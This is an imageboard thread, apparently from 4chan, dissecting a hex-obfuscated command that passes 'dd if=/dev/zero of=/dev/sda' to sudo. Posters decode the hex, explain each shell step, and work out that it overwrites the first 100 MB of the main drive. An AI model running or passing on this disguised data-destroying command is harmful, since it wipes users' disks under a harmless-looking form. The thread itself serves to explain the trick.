Someone please explain how this command works:
sudo $(echo "64642069663d2f6465762f7a65726f206f663d2f6465762f73646120636f756e743d3130302062733d314d0a" | xxd -r -p)
hex
echo will output shit
| is a pipe, will chain shit
xxd is an utility that will do a hex dump
-r -p are arguments to xxd, will just take any hex, no info on lines spaces
so you a string "64642069663d2f6465762f7a65726f206f663d2f6465762f73646120636f756e743d3130302062733d314d0a" that gest send to xdd to decode from hex to ascii. once that is done echo will place it in front of sudo, allowing it to run with admin privileges on a linux system.
the string decodes to "dd if=/dev/zero of=/dev/sda count=100 bs=1M"
this will copy from dev/zero to dev/sda. dev/zero is literaly zero and sda is the first hard drive. so you will write zeros on the 1st drive from 1st to last byte essentially erasing it, partition table included.
>>54742205
1) sudo asks for root access.
2) bash evalueates the following expression.
3) bash runs the code encapsulated in $(...).
3.1) bash runsecho ...
3.2) bash pipes the result of the previous program toxxd -r - p.
3.3) xxd converts given string from hexadecimal back to normal text.
4) bash gets to run the encapsulated expression,dd if=/dev/zero of=/dev/sda count=100 bs=1Mwith root access.
5) your computer happily proceeds to write over every single bit on your main hard drive with zeroes.
Wasn't that hard you noob.
>>54742446
Since count=100 wouldn't it just write over the first 100 bytes?
>>54742549
First 100 blocks, and the specified block size is 1MB, so the first 100MB.